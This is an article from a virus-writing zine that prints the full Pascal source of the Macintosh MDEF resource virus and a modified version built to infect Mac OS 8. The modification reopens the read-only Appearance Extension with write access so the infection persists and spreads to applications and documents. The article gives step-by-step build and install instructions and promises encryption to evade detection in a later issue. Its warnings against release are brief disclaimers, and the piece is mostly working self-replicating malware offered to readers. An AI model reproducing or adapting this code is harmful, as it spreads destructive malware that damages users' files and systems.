A FURTHER ANALYSIS OF THE MDEF (E) VIRUS PERTAINING TO ITS OPERATION UNDER SYSTEM 8. (c) J.S.Bach-XTAR [CodeBreakers] If you haven't downloaded the Codebreakers magazine #2 do it now. It is still available at the site www.codebreakers.org. If you already have downloaded it, you have followed the analysis I performed on the source of the MDEF virus. For completeness I will include it again, so you can have the full picture: unit MDEF; interface procedure Main; implementation procedure Main; label 1000; type PtrPtr = ^Ptr; {To retrieve the virus entry point address} MDEFHeader = array[1..6] of integer; {To access the MDEF header} MDEFHeaderPtr = ^MDEFHeader; MDEFHeaderHandle = ^MDEFHeaderPtr; var CurrentResFile, theAttrs, BranchOffset, Bytes2Copy: integer; theMDEF, theApplMDEF, theSysMDEF: Handle; comesFromApplication, SystemInfected, ApplicationInfected: boolean; EntryAddress: Ptr; begin EntryAddress := PtrPtr($09CE)^; currentResFile := CurResFile; theMDEF := GetResource('MDEF', 0); comesFromApplication := HomeResFile(theMDEF) = CurResFile; if comesFromApplication then begin {check System} UseResFile(0); theSysMDEF := Get1Resource('MDEF', 0); SystemInfected := (MDEFHeaderHandle(theSysMDEF)^^[5] = integer('BA')) and (MDEFHeaderHandle(theSysMDEF)^^[6] = integer('CH')); if not SystemInfected then {infect System File} begin {theSysMDEF now contains a handle to the System Heap code,} {and theMDEF contains a handle to the Application MDEF} {Now calculate the offset to the virus branch point...} BranchOffset := SizeResource(theSysMDEF) - 2; {Next calculate the actual size of the virus. From the size} {of the MDEF, subtract the size of the nonviral part} Bytes2Copy := SizeResource(theMDEF) - ABS(Ord(StripAddress(theMDEF^)) - Ord(StripAddress(EntryAddress))); HUnlock(theSysMDEF); {Next concatenate the virus to the System MDEF...} if PtrAndHand(EntryAddress, theSysMDEF, Bytes2Copy) <>noErr then goto 1000; {Now fix the Header...} HLock(theSysMDEF); MDEFHeaderHandle(theSysMDEF)^^[1] := $6100; {BSR} MDEFHeaderHandle(theSysMDEF)^^[2] := BranchOffset;{branch point} MDEFHeaderHandle(theSysMDEF)^^[3] := $6006; {BRA.S } MDEFHeaderHandle(theSysMDEF)^^[4] := integer('JS'); {'JSBACH'} MDEFHeaderHandle(theSysMDEF)^^[5] := integer('BA'); MDEFHeaderHandle(theSysMDEF)^^[6] := integer('CH'); HUnlock(theSysMDEF); {Finally set the resource attributes for the MDEF...} theAttrs := GetResAttrs(theSysMDEF); SetResAttrs(theSysMDEF, theAttrs + ResSysHeap + ResLocked - ResPurgeable); {Now mark permanent, and rewrite System File...} ChangedResource(theSysMDEF); if ResError <> noErr then {begin} {DebugStr('Just after ResError');} goto 1000; {end;} UpdateResFile(0); end else goto 1000;{*} {exit, System is infected} end else {comes from System} {Note that if it both System and Application are infected, } {comesFromApplication will be TRUE, and we processed that already. So,} {we need to process only one case: (which is the case Application is not} {infected)} {but we check the other for completeness} begin UseResFile(CurrentResFile); theApplMDEF := Get1Resource('MDEF', 0); ApplicationInfected := theApplMDEF <> nil; if not ApplicationInfected then begin UseResFile(0); theSysMDEF := Get1Resource('MDEF', 0); DetachResource(theSysMDEF); UseResFile(CurrentResFile); AddResource(theSysMDEF, 'MDEF', 0, ''); if ResError <> noErr then goto 1000; UpdateResFile(currentResFile); end; end; {Don't forget to restore the original application resource file} 1000: UseResFile(currentResFile); end; end. I will not attempt a full re-analysis of the MDEF, instead, we will modify the virus slightly to target a better objective. System 8.0. If you experimented with the above virus, you have noticed that while it runs perfectly on System versions 7.x, it only runs "partially" on Apple's new Operating System, System 8.0. (As of this writting, OS 8.1 is already out as well). Let's see why it fails. The main body of the virus, contains a double clause, that with if comesFromApplication and its otherwise clause, which is the else {if it comes from System}. The if comes from system clause works perfectly. It works on System 8.0. That means that if the virus loads in memory in Sys 8.0 from an infected application, it will infect any other applications that are opened. However, the if comesFromSystem clause, fails miserably, thus the System files themselves, do NOT get infected, so the virus dies on the next restart, unless an infected application is run again. Let's look why: The call UseResFile(0); forces the System file to be the active resource file, so we can directly look at its resources. The call theSysMDEF:=Get1Resource('MDEF',0); attempts to load the memory resident already existing MDEF resource from the System file. The call SystemInfected:=... looks for our signature in that resource, to determine if the already loaded MDEF resource has been modified by us. Let's assume it's not infected, so the virus takes a branch into if not SystemInfected and calculates the Branch Offset, the Bytes to copy, it unlocks the MDEF memory handle so we can manipulate it, (look at the resource attributes with ResEdit on the MDEF 0 in the System file. It has the flag bit ResLocked set) Then the PtrAndHand call modifies the MDEF in memory, we lock it again so we can dereference the header bytes as you can see, then we play around with the resource attributes and set some attributes that are necessary for all system resources (ResSysHeap=Loads into System Heap at startup and not into application heap. The rest of the attributes are self-explanatory). Then we call the most important routine: ChangedResource(theSysMDEF); THIS trap is where the virus fails, because the resource file which contained the original MDEF that was loaded by the system, cannot be written to. If you really want to see that it fails like this, activate the statement DebugStr('Just after ResError'); and re-build the virus project. Then run the virus in a safe environment. When your application starts, it will immediately fall into MacsBug. Check the Stack for the error word, and you will find the word value $FFC3 on top of the stack. This is the error code returned by ResError. Since it is a function {function ResError:OSErr}, you will find the returned word value on the stack when you break into MacsBug. Ok, so what is this error? Hex $FFC3=-61 decimal, so we check the result codes in Inside Macintosh, and it is a screwy wrPermError. That is, a read/write permissions error. In our case, it is a write error. Ok, so now we need to find out why it happens. I am assuming you are running on System 8.0 of course. Exit MacsBug, and restart your computer. Now, I will save you some searching. The MDEF 0 can be found in two places. One, inside the actual System file itself. But the System file is writable, so it must be coming from somewhere else. And lo and behold, it does. System 8.0 has a new Extension, the "Appearance Extension" that's responsible for the new menu look of the Finder. Aha. So you open the Extension with ResEdit, only to find a nice juicy MDEF resource of id=0 in it, sitting sublime and quiet. So what is happening anyway then? It's actually quite simple. The Extension Appearance Extension is a "resource bypass" file. That is, the System resources get loaded, but we remember the following little fact: When a file opens and contains the resource "rsrc" of id=x, it gets loaded. Now if we open ANOTHER file that contains an IDENTICAL resource, again "rsrc" of id=x, the second resource bypasses the first and becomes active instead. Aha. So since Appearance Extension was loaded AFTER the System, the MDEF 0 resource FROM Appearance Extension has bypassed that of the system. So what's the problem? That can be tracked down as well. Now fall into MacsBug again manually using Control-Restart, and type "file" and press return. MacsBug will give you a list of all open files with various columns. Check the Fl column, and you will see the write permissions flags. W means writable, w means not. So, unfortunately, Apperance Extension, our bypass file is read only. Shucks. Clever guys those at Apple. I wouldn't be surprised if they did it so that nobody can create MDEF viruses. But we are smarter than them aren't we? :)... So, to conclude, the above MDEF virus, tries to actually modify the MDEF that comes from a read-only file, and thus the change cannot be rendered permanent. Now, then, we have a clear objective at hand. How to figure a smart way to modify the damn MDEF 0 resource in Appearance Extension in some acceptable way. For this, let's try the following experiment: Open Appearance Extension with ResEdit. Select one of the STR resources and make some change to it. Then choose save. Close the file, then re-open it again, and revert the change, by changing back to what it was. It is successful (!). Now, we have the following funny facts: 1)MDEF 0 comes from Apperance Extension which is read-only. 2)If we open ANOTHER data path for Apperance Extension, we CAN make changes, even though the file is open with read-only permission (!). (We just did with ResEdit) Conclusion: We have to open the file again, from INSIDE our virus, and create a new data-path, and modify the MDEF resource THROUGH the NEW data path. But how come we can open a new data path? Doesn't this mean we will corrupt the already existing resource map that has been loaded by the first instanciation of the open? Well, for those qurious enough, check http://devworld.apple.com/technotes/tn/tn1120.html, and read till you drop. It turns out that if we re-open the file, a new resource map is loaded in memory, which is independent of the old one, and is perfectly valid. So far, so good. Ok, so our next objective would be to create a routine that opens the aforementioned file again. How do we do that? For one, we have no name for it. Well, we have a name, Apperance Extension, but we don't want to depend on specific languages, because the Extension might be localized and its name may have been changed. It may be for all you know, Whacky Menus Extension. So we need to narrow our objective into finding data that we can feed our resource file opening routine, which is of course the call: RefNum := FSPOpenResFile(theSpec, fsRdWrPerm); So we need to figure out a file specification for Apperance Extension and we are done. What do we know we "know" about Apperance Extension that cannot change in any system? 1) It will be located in the Extensions Folder for sure (because it IS an extension) and we know the File Type and File Creator! (Open with ResEdit and see them) File Type='INIT', File Creator 'appr'. Wonderful. So we can write a routine to search for these two parameters. Here is some sample code that will do that: program ListExtension; uses Folders; var theSpec: FSSpec; {returned file specification} theStr: Handle; {test STR handle to modify se we can check our routine} RefNum: integer; {the refnum of the Appearance Extension re-opened} function GetAppearanceSpec (var theSpec: FSSpec): boolean; label 1000, 1001; var foundVRefNum: integer; {vrefnum returned from the FindFolder routine} foundDirId: longint; {dirId returned from FindFolder routine} thePB: HParmBlkPtr; {memory parameter block needed for PBHGetFileInfo} err: OSErr; theName: Str255; {the name returned indirectly} foundit: boolean; {flag if we find the file{ begin foundit := False; err := FindFolder(kOnSystemDisk, kExtensionFolderType, kDontCreateFolder, foundVRefNum, foundDirId); if err <> noErr then goto 1000; thePB := HParmBlkPtr(NewPtr(SizeOf(HParamBlockRec))); if MemError <> noErr then goto 1000; with thePB^ do begin ioFDirIndex := 0; repeat ioCompletion := nil; ioNamePtr := @theName; ioVRefNum := foundVRefNum; ioDirId := foundDirId; ioFDirIndex := ioFDirIndex + 1; err := PBHGetFInfo(thePB, false); foundit := (ioFlFndrInfo.fdType = 'INIT') and (ioFlFndrInfo.fdCreator = 'appr'); until (err = fnfErr) or foundit; if err = fnfErr then goto 1001; {exit, we haven't found it} err := FSMakeFSSpec(foundVRefNum, foundDirId, theName, theSpec); 1001: DisposePtr(Ptr(thePB)); 1000: end; {with thePB^} GetAppearanceSpec := foundit; end; begin if GetAppearanceSpec(theSpec) then RefNum := FSPOpenResFile(theSpec, fsRdWrPerm); writeln(ResError); theStr := Get1Resource('STR ', -20233); Writeln(ResError); writeln(StringHandle(theStr)^^); StringHandle(theStr)^^ := 'Appearance Prefs4'; ChangedResource(theStr); Writeln(ResError); UpdateResFile(refnum); Writeln(ResError); CloseResFile(RefNum); end. Ok, so let's see what this does. First we set the flag foundit to false, so that if the routine fails we can know without further ado if this is the case. The first statement, is the trap FindFolder. It is a routine that returns a vRefNum and a dirId of various subdirectories inside the System folder. Here, we need it to search inside the Extensions directory, that's why we specify kOnSystemDisk, and kExtensionFolderType as parameters. (To see all the available parameters, open the file Folders.p and look at the constants). Then we test if our routine was successful. If it was not, we simply exit. Next, we allocate memory for the parameter block needed for the GetFileInfo trap, testing for memory allocation errors as well. Next, we need to fill in some pertinent fields of the parameter block so that the trap PBHGetFInfo will find what we want. (For specifics of the Parameter block, check Inside Macintosh:Files) We push the address of our string, so that the name of the scan files will be returned, we feed the scan with the foundVRefNum that the routine FindFolder returned, and the same for dirId. The Routine PBHGetFInfo, will now cycle through the whole directory (Extensions Folder) starting from file with index 1, going to file with index 2, 3, etc, until it goes through all the files. If the routine had gone through all the files, it will have returned fnfErr (file not found error). Next, we call the PBHGetFInfo, and since the routine returns info in its FInfo fields, we simply check those fields for the appropriate creator and file type. Aha!. But we are not done yet. The resource file opening trap (FSPOpenResFile) accepts a file specification. So we need to convert the data that we have (theName string, the foundDirId and the foundVRefNum), into a file specification. Actually, you can see that this whole scanning business was so that we could get hold of the actual name of the Apperance Extension file, which maybe totally different from what we expect. But because the creator and filetype are invariant, we are in good track. So we call the routine FSMakeFSSpec, which takes precisely the parameters we have and returns a file specification as a VAR. Now we are done. We dispose the memory we have used for the parameter block, and we exit. At this point the function GetApperanceSpec, will be True and we can use that not only to get our file specification and open the resource file, but to also actually test whether the Appearance Extension is installed. So we open the resource file again in the main program, and get hold of a dummy string to modify it and see if it works. It does. The rest of the calls are pretty much trivial resource manager calls, and we check for errors at every step to see if the preceding call to the corresponding trap was successful. Don't forget to revert the change that this program attempts (it just modifies the string "Apperance Preferences") back to what it was with ResEdit, because the Extension may have problems when you reboot. Our second objective is now complete. Note some interesting side effects: On System 7.x, there is STILL some resource bypass file (usually called Enabler) but the reason our virus works is because this file was read/write, so the virus actually could modify it with no problem. The significant difference between Sys 7.x and 8 is that they have shoved all the bypass resources that were previously in the Enabler file, into the new System file and/or into Apperance Extension, but now the later is read-only. Note now one pleasant side effect of the function we wrote. Ordinarily, we would have to use the gestalt function to check what version of the system we are running in, so we can branch to the correct code (whether to re-open AE (Apperance Extension) or not). With the function above, we don't have to do that. Why? Because if we EXPLICITLY check for the existence of the above file, we don't care if we are running in 7.x or 8. If the file AE exists, we re-open it and modify it. If it doesn't (in which case the function will return false) this means we can use the older code of the virus as it worked in sys 7.x (!) And the reason why this is important, is because Apple may decide again in the future to incorporate the AE resources BACK into the System file itself, so we don't need to bother with the file anyway. With some tweaking on our part, we can cover most of the 7.x and 8.0 cases and maybe predict future cases where AE does not exist. Now we are ready for the final listing of our MDEF virus, which will work in System 8.0 as well. Here comes: unit MDEF; interface uses Folders; procedure Main; implementation procedure Main; label 1000; type PtrPtr = ^Ptr; {To retrieve the virus entry point address} MDEFHeader = array[1..6] of integer; {To access the MDEF header} MDEFHeaderPtr = ^MDEFHeader; MDEFHeaderHandle = ^MDEFHeaderPtr; var CurrentResFile, theAttrs, BranchOffset, Bytes2Copy, sysFile: integer; theMDEF, theApplMDEF, theSysMDEF: Handle; comesFromApplication, SystemInfected, ApplicationInfected: boolean; EntryAddress: Ptr; theSpec: FSSpec; theStr: Handle; mustOpenAE: boolean; function GetAppearanceSpec (var theSpec: FSSpec): boolean; label 1000, 1001; var foundVRefNum: integer; foundDirId: longint; thePB: HParmBlkPtr; err: OSErr; theName: Str255; foundit: boolean; begin foundit := False; err := FindFolder(kOnSystemDisk, kExtensionFolderType, kDontCreateFolder, foundVRefNum, foundDirId); if err <> noErr then goto 1000; thePB := HParmBlkPtr(NewPtr(SizeOf(HParamBlockRec))); if MemError <> noErr then goto 1000; with thePB^ do begin ioFDirIndex := 0; repeat ioCompletion := nil; ioNamePtr := @theName; ioVRefNum := foundVRefNum; ioDirId := foundDirId; ioFDirIndex := ioFDirIndex + 1; err := PBHGetFInfo(thePB, false); foundit := (ioFlFndrInfo.fdType = 'INIT') and (ioFlFndrInfo.fdCreator = 'appr'); until (err = fnfErr) or foundit; if err = fnfErr then goto 1001; {exit, we haven't found it} err := FSMakeFSSpec(foundVRefNum, foundDirId, theName, theSpec); end; {with thePB^} 1001: DisposePtr(Ptr(thePB)); 1000: GetAppearanceSpec := foundit; end; begin EntryAddress := PtrPtr($09CE)^; currentResFile := CurResFile; theMDEF := GetResource('MDEF', 0); comesFromApplication := HomeResFile(theMDEF) = currentResFile; mustOpenAE := False; if comesFromApplication then begin {check System} mustOpenAE := GetAppearanceSpec(theSpec); if mustOpenAE then begin SysFile := FSPOpenResFile(theSpec, fsRdWrPerm); if (SysFile = -1) or (ResError <> NoErr) then begin SysBeep(2); goto 1000; end; UseResFile(SysFile); theSysMDEF := Get1Resource('MDEF', 0); end else begin UseResFile(0); theSysMDEF := Get1Resource('MDEF', 0); SysFile := HomeResFile(theSysMDEF); end; {track system file where sysMDEF comes from} HLock(theSysMDEF); SystemInfected := (MDEFHeaderHandle(theSysMDEF)^^[5] = integer('BA')) and (MDEFHeaderHandle(theSysMDEF)^^[6] = integer('CH')); {*} HUnlock(theSysMDEF); if not SystemInfected then {infect System File} begin {theSysMDEF now contains a handle to the System Heap code, and theMDEF contains a handle to the Application MDEF} {Now calculate the offset to the virus branch point...} BranchOffset := SizeResource(theSysMDEF) - 2; {Next calculate the actual size of the virus. From the size of the MDEF, subtract the size of the nonviral part} Bytes2Copy := SizeResource(theMDEF) - ABS(Ord(StripAddress(theMDEF^)) - Ord(StripAddress(EntryAddress))); {Get old resource Attributes} theAttrs := GetResAttrs(theSysMDEF); {Change resource attributes to manipulate} if BAND(theAttrs, ResLocked) = ResLocked then SetResAttrs(theSysMDEF, theAttrs - ResLocked); {Next concatenate the virus to the System MDEF...} if PtrAndHand(EntryAddress, theSysMDEF, Bytes2Copy) <> noErr then goto 1000; {Now fix the Header...} HLock(theSysMDEF); MDEFHeaderHandle(theSysMDEF)^^[1] := $6100; {BSR} MDEFHeaderHandle(theSysMDEF)^^[2] := BranchOffset;{branch point} MDEFHeaderHandle(theSysMDEF)^^[3] := $6006; {BRA.S } MDEFHeaderHandle(theSysMDEF)^^[4] := integer('JS'); {'JSBACH'} MDEFHeaderHandle(theSysMDEF)^^[5] := integer('BA'); MDEFHeaderHandle(theSysMDEF)^^[6] := integer('CH'); HUnlock(theSysMDEF); {Finally set the resource attributes for the MDEF...} SetResAttrs(theSysMDEF, theAttrs); {Now mark permanent, and rewrite System File...} ChangedResource(theSysMDEF); {DebugStr('Just before ResError after Changed Resource!');} if ResError <> noErr then goto 1000; if not mustOpenAE then UpdateResFile(SysFile); end {if System not Infected} else {if system is infected} goto 1000; {exit, System is infected} end {comes from Application} else {comes from System} {Note that if it both System and Application are infected, } {comesFromApplication will be TRUE, and we processed that already. So,} {we need to process only one case: (which is the case Application is not infected)} {but we check the other for completeness} begin UseResFile(CurrentResFile); theApplMDEF := Get1Resource('MDEF', 0); ApplicationInfected := theApplMDEF <> nil; if not ApplicationInfected then begin UseResFile(0); theSysMDEF := Get1Resource('MDEF', 0); DetachResource(theSysMDEF); UseResFile(CurrentResFile); AddResource(theSysMDEF, 'MDEF', 0, ''); if ResError <> noErr then goto 1000; UpdateResFile(currentResFile); end; end; {Don't forget to restore the original application resource file} 1000: if mustOpenAE then CloseResFile(SysFile); {Close AE if we opened it} UseResFile(currentResFile); end;{main} end.{unit} Ok, there you have it. Now let's look at what we have done and try to understand it. We have added a couple of variables, and we have modified the conditionals a bit, to take care of our new infection of the AE file. The first statement calculates our reference point, which has been stored in low memory global $09CE by the header code (look at the file InstallMDEF.p in codebreakers #2, or in the 4 virus project (T4, 32767, MDEF, WDEF) available from www.codebreakers.org. Next we determine the current resource file. Next we load the resource MDEF,0, to see where it comes from. Note here, that if we are running SimpleText and it is infected, the MDEF 0 it contains will be bypassing the System MDEF 0, so we are basically loading ourselves. (i.e. the very code that's executed). Next the crucial check comes, which is to determine precisely that, namely if what we loaded was us, or was System. The variable comesFromApplication will tell us that. If it is false, it means the resource is coming from elsewhere, and not from the code that's running now, i.e. the infected application. So we branch, according to this condition. The most interesting case of course, is the case comesFromApplication, which means we have to check the System. Then we check if the file AE exists and is active. If it exists, mustOpenAE will be set to true, and we will modify the file accordingly. If mustOpenAE becomes true (which will be determined on the existence of AE from our function GetAppearanceSpec), then we DO re-open AE-as we said using a second data path. Else, if we find no AE file running, we are on System 7.x (since AE does not exist in our search from GetAppearanceSpec function, so we just assign as the system file whatever file the resource comes from (HomeResFile(theMDEF)). Then we make whatever file that is, active, so we can exclusively ask THIS file for changes to the MDEF we are going to modify. The "SysFile := FSPOpenResFile(theSpec, fsRdWrPerm);" opens a second data path to the AE file, this time read-write, and after opening it, we just quickly check for open errors, with "if (SysFile = -1) or (ResError <> NoErr) then". This block can actually be omitted, as most of the time it will be successful. (I haven't found it to be failing anytime I ran the virus.) Next, we request "UseResFile(SysFile);" which makes the AE file we just opened the most recent resource file. Next we ask for another copy of the MDEF, as "theSysMDEF" this time requesting it as coming from the open AE file specifically with "Get1Resource". (Remember, Get1Resource returns resources from the active resource file ONLY). Now we are on familiar ground. We look for our sig, by locking the handle we got and dereferencing it, so we can see if it contains the signature "BACH". If it does contain our sig, we branch to label 1000 which just closes the AE file, since it is already infected. If it does not contain our sig however, we calculate our Branch offset so that when the MDEF gets executed it will branch to our virus code first. Then we calculate how many bytes we should copy when we duplicate the virus. The number of bytes is calculated easily enough, and it is: Bytes of entire MDEF resource loaded in the beginning (the executable code that contains the virus), minus the difference (start address of MDEF minus entry point) this can be seen easily as follows: Since the virus is basically an appending virus, we have the following scheme: ________ <---- Ord(StripAddress(theMDEF^)) | MDEF | | code | | | | | | | | | ________ <---- Ord(StripAddress(EntryAddress)) | virus | | | -------- you can easily see that the entire segment (SizeResource(theMDEF)) minus the aforementioned difference, gives the length of the virus. Next we play a bit with the attributes. We want to disable certain attributes, such as ResLocked, which in particular prohibit any memory operations on our MDEF, so we can manipulate the MDEF memory handle. Next, we concatenate the virus bytes with the MDEF that we get from the AE resource file. The trap that does this is the PtrAndHand call, which takes 3 params: A pointer to the data that will be appended (@EntryAddress), the handle that the data will be appended to (theSysMDEF, which is, remember, an uninfected version of the MDEF that came from the AE file) and the number of bytes to copy (Bytes2Copy). Next we lock the sysMDEF, which by now has been altered, and fix the header of the MDEF so that it will branch correctly to our virus when it gets executed later. We add a BSR 680x0 (Branch to subroutine instruction) and we add the branch offset which is of course SizeResource(uninfected sysMDEF)-2 (-2 because we are not counting the current instruction). Finally we add the virial signature and we unlock. We set the resource attributes to what they were before we manipulated the MDEF and call the "ChangedResource" trap, which sets the ResChanged bit, which is the bit that signifies that the resource file needs to be updated upon close. Normally, we could call immediatelly "UpdateResFile(SysFile)" and write the resource file out, but i found that the system crashes badly for no reason when doing that. Perhaps it does not like an immediate update. So i added one more conditional which will update the file ONLY if the AE file is not present. You should remember here that a mere "CloseResFile" call to the resource manager will be enough to update the resource file. "UpdateResFile" is for immediate updates. This covers the System not infected case. Let's look at the case where we are trying to run an app, on an infected system now. The exact sequence of events then, according to our actions will be: If an infected app is run, it will open and infect the AE file, but the virus will not become memory resident unless we have a restart. Why is that? you ask. Because, since the AE file is read-only, we can only re-open and modify it. We don't have access to its memory resident resources. Well, to be exact, we CAN do that, i.e. modify in them in memory, but this approach is more elegant, and it will save us from additional code. For example, we could have BOTH modified the resources in memory-which would activate the virus immediately AND modify the file AE through the second data path. We choose to ignore the memory modifications, as at some point in time the machine will be restarted anyway, so the resources will become memory resident anyway. So we have chosen the patient approach. So, now, if and when the mac gets restarted, the virus will start spreading, since it will branch to the second major segment, namely the else {comes from System} clause. The actions there are clear, and the virus will execute the statements as predicted. First we check whether the active resource file that's running is infected. If it is, the call "ApplicationInfected := theApplMDEF <> nil;" will return true and we skip the infection process. If not, the virus will activate the system resource file (UseResFile(0)) and we get a copy of the virus by requesting one with "theSysMDEF := Get1Resource('MDEF', 0);". We immediately call "DetachResource(theSysMDEF);" to disassociate the handle from its resource file. This forces the handle to float in memory and we can add it to anything we please. Then we call "UseResFile(CurrentResFile);" activating again the current resource file. (Application or any other opened files at the time). We finally call "AddResource(theSysMDEF, 'MDEF', 0, '');" which adds the viral resource to whatever file is active. That's it. To built the MDEF sys 8.0 virus, copy the text above from "unit..." to "end." and paste it in the main source file for the MDEF project that you downloaded from the www.codebreakers.org site (the MDEF project that was contained in the four viruses (T4, 32767, MDEF, WDEF). Then select "Build Code Resource..." from the Project menu. Then close the project and open the project "InstallMDEF.proj". Before running this project, duplicate the application SimpleText, or any other application and place it into the same directory as the MDEF folder. After correcting the path names on top of the "InstallMDEF.proj" source file, select "Run" from the project menu, and the file will install the viral MDEF resource on that file. BE VERY CAREFUL WITH THIS VIRUS! IT IS VERY VIRULENT AND IT WILL INFECT MANY FILES ON YOUR MACHINE, AND NOT ONLY APPLICATION FILES, BUT DOCUMENTS AS WELL. IN PARTICULAR YOU ARE LIABLE TO CRIMINAL PENALTIES IF YOU TRY TO RELEASE THIS VIRUS. YOU HAVE BEEN WARNED. THE AUTHOR IS NOT RESPONSIBLE IF YOU RELEASE THIS VIRUS. In particular, while I was experimenting with it, it escaped and got into my screensaver and every time I booted from my second partition, it activated without my knowledge. By the way, the best way to experiment with little beasts like this one, is to segment your drive into two parts, and boot ONLY from the second partition if you want to see its effects. This way, if it gets out of hand, you can always boot from a clean partition and use ResEdit to remove the viral part from infected files. Be very careful. On the next article, I will try to experiment a bit with encryption and to see if we can succesfully encrypt this virus using a simple Xor routine, so that it will hide from prying eyes using a simple variable key. Until then, enjoy this sys 8.0 virus. I believe it must be the first one which runs successfully without major dysfunctions on system 8.0. Have fun. J.S.Bach-XTAR